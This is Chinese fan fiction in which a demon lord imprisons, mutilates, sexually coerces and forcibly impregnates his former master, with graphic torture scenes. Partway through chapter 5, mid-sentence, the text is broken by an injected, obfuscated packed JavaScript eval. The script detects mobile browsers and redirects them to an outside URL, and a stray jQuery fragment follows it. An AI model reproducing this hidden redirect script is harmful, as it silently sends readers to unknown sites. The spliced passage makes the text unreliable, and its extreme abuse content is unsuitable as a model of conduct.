那是靠王的血强行续命!据说人早在几个月的时候就快死了,是王强行启动阵法,将生命与王妃共享,又抽了快九层的天魔血,才堪堪把人留住! 也就是那个时候,太子被强行剥离母体,是被宫女们一盆盆的天地灵宝灵液养大的! 唉。天魔族都是痴情人啊…… 可不是嘛…… ————孩童自述———— 我是魔族少主,我名为弃。 是个从出生就不受人喜爱,被父母皆厌弃,从小由宫女扶养长大的。 虽然他份高高在上,却名为''弃'',甭管是父亲可有可无的恨意,还是足不出户的母亲从未有过只言片语,他都是个不被期待的人。 据说他也不是正常出生的,是他父亲为了保母亲的命,强行从母体剥离出来。六个月的血腥团子,若不是魔族天生顽强,早就死了。 他从有意识起,就没见过母亲,也不怎么见到父亲,即使父亲贵为魔族至尊,却平日里根本见不到人不是在外奔波,就是于母亲一处。 听守卫和宫女们说,当我能独当一面后两个人就再也不会出现在魔宫,这里也完全交给我处理。 据说父亲雄才大略,有一统两界(修真界、魔界)之能,却不知什么原因停下征程,只签了什么条约,发誓绝不攻打魔界。 我不能理解,父亲身为一个极有能力和实力的人物,为什么会停下征战的步伐,守护在一个女人身边? 即使那个女人是生我的母亲,我也不能理解。 ———— 终于,在我五岁那年,我见到了被父亲一直藏起来的母亲。 母亲很美,却病怏怏的,几乎离不开床铺。 虽然脸色苍白疲惫,却难掩其风姿。 但他对于旁人极度避让,就连父亲的''一触及离'' 接触,也很难忍受的样子。 我呆呆的看着他,跪在她面前磕头:“母亲,孩儿来看您了。” 我好像懂了,为了这样的病弱美人,我也愿意放下一切,只为讨她欢心。 即使,她对我厌恶至极,看见我就像是看见什么脏东西。 但我是她的孩子,我与她流着相同的血,我曾在她的体内生活过,我不会介意她的态度,我会好好爱着她,守护她,努力让她笑。 而且,他总觉得母亲不像母亲,像……与父亲一样的,男子。 可男子如何生子呢?她一定是母亲的。只是美的雌雄莫辨,又瘦的只剩骨头,所以才看起来像男的吧! ———— 渐渐的,他长大了,偷溜去修真界,听到了一个与母亲一模一样的名字:那人风华绝代,优雅风流,是个备受推崇的正道大能。可惜因闭死关,无缘面见。 他将这个同名同姓却是男子的''沈清秋''故事告诉给母亲,让她解解闷。 可当他把正道沈清秋的消息告诉母亲时,母亲的表情变了。 她用手捂着一只眼睛,似笑非笑,满身悲凉,从眼中流出血泪来: “是啊,沈清秋闭了死关,是没人能见到的。” “母亲,你怎么了?可要传医师?” “不必你走吧不要回来” “不回来?”我震惊,我是魔族少主,是将来压迫接管魔族所有的人,我能去哪里呢?是你不想见我了吗,母亲? 可是我做错了什么,我只是听到一个与你相同名字的男人,想要告诉你,让你开心、轻松一下啊…… 我走了。远远的听到父亲的声音: 师尊 你好好活着,弟子什么都不会做 师尊,你要活着,你活着,弟子保证,什么都不会有 师尊 你为什么不说话!为什么不理我!你别笑了!笑得我慎得慌! 师尊!弟子逾越了!你给我哭出来啊!求你了,别这样! ———— 后来,我终于成了魔尊,虽然才十七岁。 听说父亲平日里去各地搜寻天材地宝,为母亲延续性命。 可天魔之血明明不死不灭,两人共享寿元,又哪里需要续命呢? 即使母亲不喜,我依旧一次次去见她,有时她状态不错,会去窗边饮茶。可是随手腕滑落的衣袖,与风吹撩起的衣角,满是遍体鳞伤。 ——已删—— 每当这时候,母亲的表情会变得极为通红与难堪,似是有什么难以启齿的难言之隐,急促的催我离开。 我不懂,父亲对母亲已是极致的好,为何母亲永远抑郁寡欢。 但母亲身上的响声与时不时的冷吸气和抽搐,又表示了父亲对他并非看到的那样好。 这样的两个人,到底父亲是以什么样的态度对待母亲呢? 我曾偷偷窥看过,父亲狠狠的将母亲压在身下,使用各种道具困守住她 可母亲除了骂''杂种'',''畜牲''外,毫不配合。 这样的两个人,互相折磨,互相伤害,互相纠缠 若不是父亲拼命的找寻各种灵宝续命,哪怕有不死不灭的天魔之血共享寿元,母亲,大概也早就不在人世了吧。 ———— 为什么会这样呢?我开始偷摸的问人。 之前也偷偷问过,但得知父亲将为了将我剥离体外,用尽无数灵宝布阵,又以全身九成血液为引,与母亲共享寿元后,我对母亲是有恨的。 恨她不让我正常出生。 恨她阻拦了父亲一统世界的野心。 恨她一心求死,却一直欧延残喘的活着。 可是。这次我又详细调查了一下。 以魔尊的身份调查。 我发现。此沈清秋,正是彼沈清秋。 母亲,从来不是女子。 他根本无法令我正常生下来。 也从不是他愿意怀我,而是父亲以修真界为威胁,强行逼迫、喂药,才得来的。 母亲平日里也并非什么下不了床,而是父亲在母亲身上施加天魔之血的禁锢,又增加各种工具,令母亲寸步难行,每动一下都艰难无比。 这样的母亲,若是稍微服个软,或许能在魔界兴风作雨。 可他没有。他只是默默忍受,心存死意。 却又被父亲以修真界威胁,不得求死。 以各种灵丹妙药为辅助,让他痛苦的续命。 接着又以对父亲的恨,一日日沉沦玉海,恨不能生琰其肉、恨饮其血。 ———— 我曾问过母亲,为什么不服软。 他只冷笑,说一句''畜牲不配'' 我也问过父亲,为什么明知母亲不喜,却还要强求 他面容复杂,告诉我。他也不想的,可谁让他的沈清秋就是这样的硬脾气,他也不想事情发展到这种地步,明明另一个(世界)有其他发展的,为什么他却没遇上? 当我得知母亲是修真界的人,魔气对他有极大伤害的时候,我问母亲要不要走。 母亲似笑非笑的看着我,问我能否打的过父亲。若是打不过,就不必多说。 当我用同样的问题去问父亲,父亲告诉我,即使他知道,他也不会放手。即使鱼儿放到水里更好,可是他偏要用手心捧着,让鱼儿在他的掌心好好活着。 ———— 这两个人互相折磨,互相纠缠。 一个努力将爱奉上,却不愿给他自由。 一个冷酷的挥手将人打走,却又没有逃离能力。 其实到这里他也明白了。 若是给母亲一点点打败父亲的机会,母亲会毫不犹豫的弄死父亲,然后离开魔界。 而父亲……看似捧着一腔热血,却压根不会爱人,只会强行占有,然后固执己见的将人锁在怀里。 这样已是最好的结果了。弃对自己说。 起码。他父母皆在。 这对怨侶,大概只能互相折磨,直到死亡。 前言 1.故事的开端从大结局说起 故事要从洛冰哥一统三界后,一名小卒捡到了岳清源的佩剑说起。 得了岳清源佩剑的洛冰河,想到的第一个乐子,就是这把剑可以送到沈清秋面前,好好欣赏他崩溃、脆弱的表情。 他不是不在乎吗?他不是什么都不在意吗?他不是孤傲高冷从不求饶吗? 洛冰河是真的很想知道,关于岳清源,这个据说从小一起长大、中间夹杂了不少过往的人物。沈清秋会不会为了这个人、这柄剑,露出一些其他的、令人回味无穷的表情呢? —— 在阴暗潮湿的地牢中,沈清秋满身伤痕,狼狈地躺在地上。洛冰河面带微笑地走到他面前,用断剑挑开他的头发: “师尊,你看看这个是什么?”洛冰河饶有兴趣的用断剑一点点拨开粘在沈九脸上的、毛糙成结的头发,露出那张堪称绝美的脸。 没办法,对于美人,即使再憎恨,也是舍不得对他的脸下手的。 “左不过是你想羞辱我的工具罢了”沈清秋眼神紧闭,无力的躺在地上,声音虚弱却依旧坚定。仅剩的一只手狠狠攥在一起,指甲早就被拔去,唯有血肉模糊的暗黑色。 看着“不为所动”的沈清秋,洛冰河却不恼,很有闲情逸致的用断剑在沈清秋的脸上划来划去,看着被自己制造出的细微血痕,愉快的心情更快乐了。 对于懂事的''画布'',洛冰河很给面子,所以他又一次开口劝道:“诶,你睁开眼睛看看啊,说不定看一眼,就改变主意了呢?” “不必”可惜,沈清秋并不是一个配合的人,认错与示弱仿佛从他骨子里就不存在,哪怕是如今已跌落泥潭,也从没为了活命、为了过得更好妥协过。 洛冰河怎会善罢甘休:“嗨,还想让你主动点呢。看来还是得我自己来啊。”说着,洛冰河亲自动手,用灵力强行帮沈清秋撑开眼皮,将他的脸强行正到自己面前。 “孽障!”沈清秋张口就骂。 对于沈清秋的辱骂,洛冰河就跟听鸟唱曲似的,脸上露出愉悦的表情,用剑面拍了拍沈清秋的眼睛:“师尊,你瞪大眼睛看看,这个是谁的佩剑?” 沈清秋的视线终于落在断剑上,刹那间,他的神情变得极为激动:“岳清源!他怎么了!你对他做了什么?” 洛冰河冷笑一声:“哎~多亏了师尊的信呢~不过师尊的字都认不出来了,所以弟子贴心的附上一点点''信物''。岳掌门亲自赴宴,弟子也给他准备了剑雨做回礼。” 洛冰河对于沈清秋的疑惑可谓是“有问必答”,同时也给予了评价申请:“不知师尊,可否满意呢?” 当然,沈清秋的评价是得不到了,不过沈清秋的反应还是很让洛冰河满意的。 沈清秋怒不可遏:“你,你滚开!走啊!”他全身上下写满了‘抗拒’和‘反抗’,颤抖的身形彰显着内心极度的不平静,若非他生死不由自己,怕是此刻会干脆自杀明志。 崩溃的沈清秋,果然是洛冰河最爱看的戏码。所以,他笑得更加肆意,甚至还恶意‘勾引’道:“那师尊,这个断剑?” “你又不会给我,何苦拿来问我?”沈清秋痛苦的闭上双眼,仅剩的一条胳膊胡乱挥舞,但怎么样也打不到洛冰河。 洛冰河冷哼一声,看着沈清秋痛苦的神情,极为恶劣的说道:“不,弟子还真是诚心拿给你——看,的。” 随后,他果断下令,务必要一举击破沈清秋的心理防线:“来人!将这把断剑挂在门口,务必要每半个时辰拔下来一次,让沈仙师好生瞻仰瞻仰。” —— 回到宫殿里,洛冰河心情愉悦。毕竟沈仙师可是个硬骨头,虽一开始被俘的时候一声不吭任绑,可是却从未服软求饶过。期间岳清源曾来过一次,还被他给骂走了。 尤其是对于洛冰河让人施加的刑罚,那可真是除了忍不住,其他都是咬紧牙,完全不带理会的。洛冰河为了试探,还生生拆了沈清秋的双腿和一臂,疼的他脸都扭曲,也不曾求饶半分。 对于这样的硬茬子,洛冰河,他,可真是太爱了! 打起来贼有趣的好吗!完全能满足施暴者的xp!而且,若是能逼的他骂人,就沈清秋那张嘴,能连骂半小时都不带重复的! 沈清秋的骂声,在洛冰河听起来,那可真是“如听仙乐耳暂明”啊!爽歪歪! 沈清秋的忍痛闷哼声,在洛冰河眼中,简直是难得的鼓励,就像是在催促他''再接再厉''! 没办法,他们两个本就水火不容,沈清秋更是让洛冰河一个喜欢一刀砍杀的爽快人,都忍不住留着他的性命,以待慢慢欣赏。 2.冰哥遇见乱入沈垣 冰哥也不知道,为什么自己会误入一个莫名其妙的幻境,接着与自己对打很久,还受了不少的伤。他只是打完后回到看起来有些不对劲的魔宫,设下禁制,先行疗伤再说。 虽然魔界和修真界都被他杀了个透彻,但冤冤相报的报仇剧情哪里都存在,即便是自己的大本营,不设置几个防御阵法,冰哥也很难安稳睡去。 “洛冰河?” 一个听起来有些熟悉的声音响起,但仔细想想,又觉得有些奇怪。若是他记忆不曾出差错,这个人,该在地牢的最深处,并且,早就不能发声。 那么。是他找到了应对自己的方法,又将一切都恢复完整,来与自己报仇了吗?不该啊,他才将岳清源的佩剑送下去多久,那摊烂泥的样子他记得清清楚楚,断不可能这么点时间就恢复。 那么,是自己与自己对打太久,令他疏忽了时间流动吗? ‘谁?’ 洛冰河有些迷茫的瞳孔骤然收缩,看向来人,那张脸——还真是沈清秋?他原先满面的杀气,顷刻转化为万分的错愕。他这一战,竟然打到沈清秋真的找到了对战自己的方法不说,还够他恢复躯体、重新修炼? 此''沈清秋''却压根不曾逃跑,也不曾满脸虚伪的要讲什么‘大义’与‘复仇’。反而像是没事人似的,看着受伤的洛冰河非但没有一剑刺来,还迎了几步,将洛冰河抱在怀里,查看他背部的伤口。还温柔的问道:“怎么回事?谁干的?” ‘???’ 洛冰河看着像是完全不怕自己也压根没打算''趁他病要他命''的沈清秋,一时间都怀疑有人想搞美人计了。但他又想了一下自己的状况,甭管对方想干什么,都不可能在这种情况下,让人多近身! “滚!” 谁知''沈清秋''却边搂洛冰河的腰,边说着“好,我们走。” 其动作之顺滑,其表情之自然,其性格之诡异,看这样子,真的是想带洛冰河走?只是——这家伙脑子秀逗了?还是被打上瘾了?虐待狂属性吗?不会是洛冰河把岳清源佩剑送下去后,这家伙终于坏掉了吧? ???洛冰河真的被他的操作震惊了!甭管他是谁,顶着''沈清秋''的脸对自己''温柔备至'',都是能令洛冰河起鸡皮疙瘩的程度! 所以,洛冰河用力推开了来人,并快速扫了一眼周围,打算先背靠墙边,至少后背,不能暴露给敌人! 对方的脸色未变,只是像哄小孩一样眼里有些不满,语调温柔:“别闹,为师带你回苍穹山派。” 洛冰河听着来人的蛊惑之语,越发肯定这人是前来引自己出去的''前锋'',他额头青筋暴起,将后背抵在墙壁,做出防御姿态,厉声道:“不去!” 却不料来人像是完全看不懂情形似的,一边说着“都这时候了,还闹什么别扭,先去那边躲一躲”,一边将他的手心贴上洛冰河的背部。 ‘!!!’背后的伤口被人用手抵着,谁知道他会不会趁机下毒手?虽说天魔之血不死不灭,但是也难免有可能暗道翻车的!洛冰河脸色僵硬,直愣愣的看着一脸担心的''沈清秋'',背后传来一阵和煦而源源不绝的灵力,被一波接一波推送入他体内。 洛冰河心中的疑惑更甚,他忍不住瞳孔紧缩,死死的盯着来人:“沈清秋?” “诶。”''沈清秋''大概是觉得灵力输入的差不多了,拔出修雅,带着洛冰河飞向苍穹山派。 眼前的一切都如此不可思议——且不说已经被自己毁掉的修雅剑,被打成烂泥的沈清秋也不可能会如此对待自己。若是这家伙是伪装,可他的神情与动作又如此之自然,毫无做作痕迹,沈清秋但凡有这个‘演技’,或者性子稍微好上那么一点半点,也不会被自己搞成那副鬼样子。 而且,眼前之人,不怕他?不仅不怕,好像……还对自己很关心? 这般温柔的师尊。洛冰河,在很小的时候,也是曾幻想过的。只是……以沈清秋对自己的厌恶,能少打两顿就不错了,还温柔?怕不是自己还在梦中呢! 所以。眼前之人是谁?是那个势力假借沈清秋的皮囊想拉下自己的至尊之位,还是……修真界那边狗急跳墙的新计谋? 不得不说,对于洛冰河来说。甭管是谁,他们的计谋,成功了。洛冰河,完全无法拒绝对自己''如此温柔''的沈清秋。 哪怕,此刻的沈清秋就算是一刀砍了他,洛冰河也愿意时间永存,多几分的温馨时光。 ———————————————————————— 截然不同的清静峰,以及众人对待自己完全不同的态度。 甚至于,眼前的某人,替自己挡了过来''探望''的柳清歌,还说什么“不就是前两天没让你一起睡,值得生气到今天。” 洛冰河对此,已经嘴角抽搐到无语了。 什么曾经对自己温柔、现在慌张避嫌的宁樱樱;什么曾经虐待自己、现在胆小如鼠的明帆;什么早早死去、现在还活着并且看起来对自己很是厌恶的柳清歌。 洛冰河觉得,自己要么踏入了什么梦境,要么就是走到了某个完全不同的秘境。毕竟这种幻境存在的可能性虽然很小,但并不是不存在。 不过。如此体贴温柔的''沈清秋''。让洛冰河的心情好了点。甚至有心多加试探,想逗一逗他:“师尊?” “嗯?”''沈清秋''歪了歪头,看起来单纯又无辜,连语气神色,都是十二分的温柔迁就,有应必求。令洛冰河不禁想要多喊几声: “师尊。” “我在这呢。”''沈清秋''帮洛冰河整理了一下衣裳和头发,又与他一同上床,揽着他躺下:“你睡吧。为师给你调息。” 随着灯火被熄灭,洛冰河盯着安然闭着眼睛,看起来在月光中全然无害又放松的''沈清秋'':‘如此梦境,真是令人沉迷啊’。 ''沈清秋''的长发散落在他手臂和指间,他抓住一缕黑发,慢慢收紧,无声地用口型重复念着这个名字。 沈清秋啊。沈清秋。这样的你,还是你吗? 洛冰河嘴角挂起一丝诡异阴戾的弧度,目光灼灼发亮,带着一点近乎残忍的兴奋之色。施展梦境,想用''情景重现''的方式,探究一下''来人的目的''。 毕竟,梦境这种东西,洛冰河师承梦魇,也算是拿得出手的。洛冰河。或者说冰哥。很轻易的从给''沈清秋''构建的梦境中,看到了这个''沈清秋''对洛冰河的所作所为。 甭管是仙盟大会金兰城花月城圣陵这种大的故事,还是小到双湖城打剥皮魔。就连眼前之人如何诈死还生,''洛冰河''为了他详攻苍穹山派的事情,也一点都也没有遗漏。 清晨的阳光透过竹帘,洒在洛冰河脸上。他顺着阳光的来路,抬头看着在晨曦下舞蹈的尘埃,有些恍惚。 梦境,或者说''沈清秋''的梦境,是洛冰河曾连想都不敢的过往。 他也想过''沈清秋''可能会对他很好,但是也仅限于帮他呵斥胡作非为的明帆、给他开去万剑峰选剑的权限、给予他真的的心法和与其他弟子一起上早课的资格。 没吃过糖的人,就连正常到人人皆有的权限,都是奢望的。 就像是农人认为皇帝拿着金锄头农耕一样,洛冰河完全不敢想象''沈清秋''能为''洛冰河''做成那样。 这个秘境中的''洛冰河'',真是幸运的该死啊。 这个秘境中的''沈清秋'',也是很想让人掳回去的程度呢。 当然。至于虏回去是充当后宫,还是丢入地牢。 嗯,冰哥表示,得看这家伙的态度才能决定。毕竟这么漂亮的一张脸,就算是地牢里那个他都舍不得划伤,更何况这个性子又如此讨喜的人呢。 —— 哎,幸福的时光总是短暂的。 这个秘境中的洛冰河还是来了。 即使冰哥尽力嘲讽他“孤家寡人”、“娘娘腔”、“连其他人都压制不住的废物”,却还是难逃“沈清秋一心爱护”,这一个绝杀。 看着''沈清秋''与''洛冰河''的交互,冰哥觉得自己的眼睛疼。 真的,你们虽然打不过我,但是真的有恶心到我的眼睛。 而且,明明''沈清秋''之前还对自己温柔备至,怎么这个家伙过来后,就满脸恐慌的看着自己,浑身僵硬发抖,嘴角颤的连话都说不出来,最后只惊恐至极的喊了句:“冰哥?” 这种表现,实在是令冰哥很不爽啊。 敢情他才是那个‘误入者’,他才是那个‘被替身’的,他是个抢夺了他人身份,偶然享受了一天温柔、就想着把人弄回去的小丑啊。 亏他还以为,''沈清秋''真的,会改变呢。 ‘不想玩了。’冰哥这么想着,就感受到一股不知从哪里来的吸力,准备带他回去。 临走前,他最后做一次努力(挑拨):“师尊,我的技术很好的,你不是体验过吗?毕竟我比他(后宫)经验多多了,绝对让你难忘。” 看着脸色唰变的''洛冰河'',冰哥突然觉得心情很好,莫名的有种''赢了''的感觉。毕竟,男人嘛,后宫的数量说明了自己的能力! 3.冰哥心疼的是自己啊 洛冰河从另一个世界回来的时候,满心愤懑难以平息。虽然说最后决定离开是冰哥自己的打算,但很难说是不是因为看到两人的相处与发觉自己是个‘替身’后的残忍真相。 尤其是当他看到两人牵在一起的双手,互相依靠的肩膀,’沈清秋’在得知自己‘真实身份’后的恐惧后,更是激起怒气: 凭什么,凭什么那个废物,能拥有真心相待的良师,还能与之结成伴侣??! 所谓人比人生气、货比货要扔。一个人没吃过糖不重要,但如果他刚刚舔到一丝甜味就被夺走,又看见与自己一般无二的人每天都能抱着糖块吃,那他就要愤怒、感叹世事不公了! 洛冰河什么时候受过这种刺激?他身为两界至尊、魔族之王,谁敢给他气受? 唯有另一个世界的自己。 但真的是因为那个世界的废物嘛? 人真的会因自己的双胞胎兄弟而悲伤嘛? 他感到愤怒的、愤恨的、暴怒的,是幼年时期遇到坑货的自己啊! 洛冰河随手招来一人,让他把沈清秋带上来。 很快,一个四肢残缺、独眼、无舌且满身脏污的沈清秋被拖了上来。 这是他的沈清秋。 一个战败者、一个伪善的小人、一个所有人都死了,自己也成了这样子,最后还苟延残喘活着的沈清秋。 这样的人,别说现在满身脏污,就算是洗干净扔床上,洛冰河看也不想看一眼! 对此,洛冰河更恨了。 凭什么,凭什么那个废物,拥有的是温柔版师尊;而自己,却要从小被他欺压,被他各种折辱,连万剑峰的灵剑都是穹顶峰开的资格,仙盟大会的名额、都是自己打败了清净峰所有人才换得的! 他的一切都是凭自己的得来的: 沈清秋给的修炼功法是假的,所以他练不成。只能与仙姝峰妹子们打交道,一点点从他们那里套来内功心法。 沈清秋平日里对他非打即骂,明帆及其狗腿更是学得有模有样,各种杂务都是他去跑腿,有时候食堂去的晚了,连饭菜都不曾剩下。亏的洛冰河提前讨得宁嘤嘤欢心,每次让她提前帮自己留饭。 魔族第一次入侵穹顶峰的时候,正赶上明帆带领诸位弟子前去接应沈清秋,毕竟沈清秋是个好面子的人,出关这种大事,怎么能不排场一下?可若不是宁嘤嘤通知自己,明帆压根没打算喊他! 就连仙盟大会上,沈清秋发现自己的天魔印记,也是毫不留情的将自己一脚踢下深渊。若不是他之前师承梦魇,又靠着天魔之血的强悍恢复能力,早就死的渣都不剩了! 这样的人,洛冰河为什么不恨? 可那个小畜牲呢?他虽刚入门时候受到一些折辱,可后面很快就被弥补上。年纪到了直接去万剑峰取剑,该到历练的时刻完全不需要担心修炼资源,仙盟大会开启也完全不需要担心参赛名额。 就连落下无尽深渊,小畜生也比自己早出来两年! 更何况,那个’沈清秋’,愿意为了他抚平心魔剑反噬、灵气暴动而自爆!后面在秃驴的地盘,更是愿意为了他与苍穹山派断绝联系! 这样的’沈清秋’,让洛冰河如何不羡慕,如何不恨? 洛冰河看着台下要死不活的肮脏玩意,可能是烦躁,有可能是腻味,亦或者是反胃。忍不住让人将一盆冰水砸到他的身上,恨恨的问道: “沈清秋,若你变得温柔体贴,你还是你吗?” 沈清秋的精神早已在崩溃的悬崖奄奄一息,整个灵魂也在溃散的底线来回徘徊,若非天魔之血实在bug,他早该步入消亡,自然是无法回答这个问题。 洛冰河看着连神魂都难以稳住,可能记忆和思维都已消除的血水团子,暴躁的将一旁侍卫吸到自己面前:“怎么回事?” 侍卫唯唯诺诺,虽直立站着,头恨不得低到地底里。紧张的汗液直流,却丝毫不敢喊‘松手’,只尽可能轻柔的放缓声音:“沈仙师他,自您离开后,就这样了。” 洛冰河“唰”的将侍卫扔到地上,发出“砰”的一声巨响:“我离开了多久。” 侍卫手脚并用,快速爬起来规矩跪下,疯狂磕头:“据您离开,也才一个时辰。”这么短的时间内,尊主竟又令人将他带上来,不知又要发什么脾气? “哇哈哈哈哈!岳清源!岳清源!你就算死了,也能引得沈清秋与你赴死!”方才还尊贵优雅的魔尊,突然笑的癫狂,弑杀的气息扑面而来,笼罩了整个魔宫:“好啊,沈清秋,沈清秋,你可真,好啊!” 侍卫将头埋的低低的,连磕头的声音都不敢发出,浑身颤抖,若非强行控制,只怕都要汗尿并出,染上宫殿的地面。 “尊上,您……”侍卫硬着头皮开口,想“自行退下”。 魔尊的眼睛红得似血,额头的天魔印邪光大作,属于魔尊至尊的气息弥散开来,引得整个魔界都瑟瑟发抖。 洛冰河看着地下如蝼蚁般瑟瑟发抖、命悬一线的众人,心里的某个角落,悄然的从变态升级得愈发扭曲了。 他高高在上的稳坐首位,冷眼瞧着那群险些被吓尿的软脚虾,又将目光扫向惨不忍睹、被打压成蛆虫的玩意。忍不住开口讽刺: “岳掌门可真是您心尖尖的人呢,得知他的死讯,您都想陪他赴死呢。” 声音森冷如数九严寒的凌冽寒风,音调如阴冷滑腻的毒蛇,随时准备择人而噬。 底下的那团看不清的血肉好像动了动,却又难以看清究竟——毕竟都模糊得连各个部分都看不出来了,谁又能知晓,他究竟做了什么动作呢。 ‘是了。’洛冰河瞧着下方因灵魂散乱而显得不成形的肉块,上面裹满了尘土与猩黑,即便是再多加上几分新鲜伤口,怕是也看不出血液本来的颜色。这样的东西,如果还能被称之为‘人’的话,还不如早早死去。 洛冰河右手优雅的撑着下巴,饶有兴趣的琢磨着:这般瞧一眼都会令后宫佳丽做噩梦的东西,要不要喊宁嘤嘤过来相认一番呢。毕竟,她也是他最爱的‘弟子’呢。一个岳清源都能将他搞成这样,多加一个宁嘤嘤,是不是会更有趣? 只是。沈清秋明明对待宁嘤嘤就可以温柔,对待明帆也能报以信任,对那个世界的洛冰河也可以予己予求。凭什么,他就不行? 可惜。如此这般的血肉团子,却是再也无法回应他了。 4.魔尊的新主意 “凭什么?凭什么那个废物能拥有那样的沈清秋?” “沈清秋!你个人渣!该受千刀万剐,该尝世间刑罚与苦痛!” “不,不能那么便宜的让你死了,你该好好活着,让你看看我如何登临至尊!” 魔尊又在发脾气了。噼里啪啦的瓷片碎了一地,每个人都在尽量缩小自己的存在感,心里默念“看不见我、看不见我!” 魔尊自从上次受伤之后,经常性大发雷霆,每次还会莫名其妙问旁边伺候的宫女侍卫; “人渣也配收徒教人吗?” 回答“不配”的,得到了魔尊的认可,然后被发疯的魔尊连同宫殿一起捏成碎末; 回答“配”的,被魔尊恶狠狠盯着。接着被魔尊随手一击、化为血雾; 还有一些克克战战的回复“不清楚”,被魔尊以“废物,要你作甚!”,一刀砍了。 至此,所有能回答的路都是死路。 大家只希望轮到自己值班的时候,尽可能压低存在感,让魔尊注意不到,保全自己的小命。 —— “来人!” 屋内传来魔尊的声音。 大家你看我,我看你,推缩着,没有一个人敢上前。 “人呢!都死了吗!” 必须得有人进去了!大家齐刷刷的将方才打瞌睡、现在有些站不稳的甲一推进去:别怪我们,要不然大家得一起死!我们会记住你的! “你们!”被推嚷的甲一立刻清醒,却也双拳敌不过四手,只能硬着头皮行礼: “尊上,不知您有何吩咐?” 好在魔尊虽然语气很冲、身上酒味也很重,却难得的没问‘杀人问题’,而是突然提起一个、从没人在乎的人。 “沈清秋呢?” “这……”甲一看着喝的睡眼萌松的魔尊,一时间摸不清魔尊的想法: 是想要知道他的近况?还是心情不开心想要弄死他?或者是……想要见到沈清秋? “说话!沈清秋人呢!” 魔尊的语气很重。醉酒使得他声音沙哑、脸色通红,刚才的乱抡乱砸使得周围全是碎渣,也使得……魔尊衣衫不整。 当然,身为魔尊一句话就能死翘翘、脑袋挂在裤腰上的苦命人,甲一是一个眼神都不敢乱看: “尊上,沈清秋还在地牢里。” 没摸清魔尊对“沈清秋”的态度前,甲一秉持着“多说多错”的原则,坚决沉默寡言: 要是魔尊想弄死沈清秋还好,若是魔尊突然改性,自己还傻乎乎的说沈清秋要死不活,岂非被暴怒的魔尊给迁怒了! 好在魔尊心情不错,没有计较甲一的小心思,摆摆手道: “去把他给我带上来。” “是。” 甲一走出门外,庆幸自己活着出来。 很快,又出现一个新的难题: 是直接把屡受刑罚、要死不活的沈清秋带上来; 还是先给他梳洗一番,搞的像个人样? 换句话说, 是应该“希望沈清秋多吃苦头” 还是“不能让脏东西污尊上的眼”? 其实“污眼”不污的不重要,重要的是,万一魔尊想与沈清秋“培养感情”,那自己这些小喽啰,都是背锅的大好人选! 他们可不会认为,一个被所有人打压虐待的家伙,出来之后,获得权利之后,还能对虐待过自己的人有多好! 一下子死掉还算好的,若是他笑盈盈的“不计较”,魔尊自有千万种酷刑等着他们! 太难了,侍奉一个喜怒无常、随意杀人的主子,想保全小命真是太艰难了! 要不……联合其他人一起动动手脚,让沈清秋压根没有出地牢的机会? 虽然有些恶毒了点,但是死道友不死贫道啊!牺牲沈清秋一个,他们一群人都能活下去! —— 虽然灵魂已近毁灭,但躯体却还是被洛冰河强行保留了下来,清洗干净后,沈清秋被送到洛冰河眼前。 “沈清秋。”洛冰河的眼底闪烁着极为残忍的光芒,他突然想到一个好主意,于是再度出声,好奇道:“你说,什么样的情况下,你会温柔体贴、与人为善?” 地上的肉块一动不动,仿佛失去了所有生机,早已腐朽不堪、溃烂不成形,看不出来各种状态。 洛冰河悠然的走下来,步子沉稳而从容,带着养尊处优的上位者气息。他看着那踢一脚都嫌脏的玩意,讥讽道:“让你与人为善,是不是比杀了你还难?” 嗯?洛冰河调动天魔之血,成功看到底下的血团子晃动起来,淌出许多脏污腥臭的液体,散发出令人作呕的气息。 “对哦。”洛冰河嘴角勾起,眼底满是嘲讽:“我都忘了,你早就不能言语了。” 不过,洛冰河想要的东西,即便是对方已灵魂消散,也要强行牵拉,将人留在身边。 那个世界的’沈清秋’太过无趣,虽对洛冰河温柔备至,却在得知自己身份的一瞬间吓得不行。如此软弱的玩意,还是自己这个更有趣些。 既如此,不如他就重新’拼凑’一个出来,最好洗掉他的记忆,折去他的羽翼,将他握在手里,培养出一个独属于自己的,沈清秋。 洛冰河轻拍双手,令人将之前无聊时收集的部件呈上。又看向医师准备的各色止血、镇疼、助愈的药物,果断将这些药物踩碎,漠然道:“知道该怎么做吧?” “明白,明白”医师们诚惶诚恐的跪了一地,手忙脚乱的将病患带去手术,甭管是为了自己的脑袋还是九族的性命,这个人,哪怕是死了,都得给他拼出个人样才行! 5.玩具不保养,真的会死 沈清秋被洛冰河恶意拼接,又以天魔之血续命,清洗干净后,竟也有了几分往昔的仙尊风采。 而更好的消息是,沈清秋的灵魂实在是太过顽强,即便是之前已经接近破碎,在使用了各种灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075135|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹妙药之后,竟还真的被‘唤醒’了。 他于死牢里被拽到大殿之上,强行跪在洛冰河眼前的时候,看着那个高高在上的龙傲天,忽的笑了:“世事无常,死生无状。事情的发展,有时候竟比话本还荒诞有趣。” “嗯?”洛冰河看着敢挑衅自己的家伙,心念一动,以内力将人牵引过来,两人近在咫尺,呼吸可闻:“别忘了,你这身躯体,是谁赐予的。你能活下来,又是用的谁的血。” 沈清秋将头远远的避开,错开洛冰河略带温度的吐息,厌恶的表情犹如在闪躲瘟疫:“无非是另一种折磨手段罢了。” 洛冰河看着冥顽不灵、柴油不进的玩意,气的将人一把甩在地上,又忍不住将脑海里曾见过的‘温柔版’、‘主动给自己疗伤、与自己同床共枕’沈清秋做对比,眼里充满了不甘与怒火:“凭什么你对他那么好!” 沈清秋不理解洛冰河的莫名其妙,也不懂他突如其来的怒火,但,只要洛冰河气急败坏,他便欣喜,所以沈清秋笑的无比猖狂。略显沧桑和沙哑的嗓音于空旷的殿宇间回荡,更是将洛冰河气的浑身发抖。 即使沈清秋不理解是谁能气到洛冰河,但洛冰河现在的样子,恰似那得不到、还被抢走糖果的孩童。即使天魔之血加身,各种刑罚加持,只要看着洛冰河恼羞成怒的模样,就能让沈清秋忍不住的大笑。 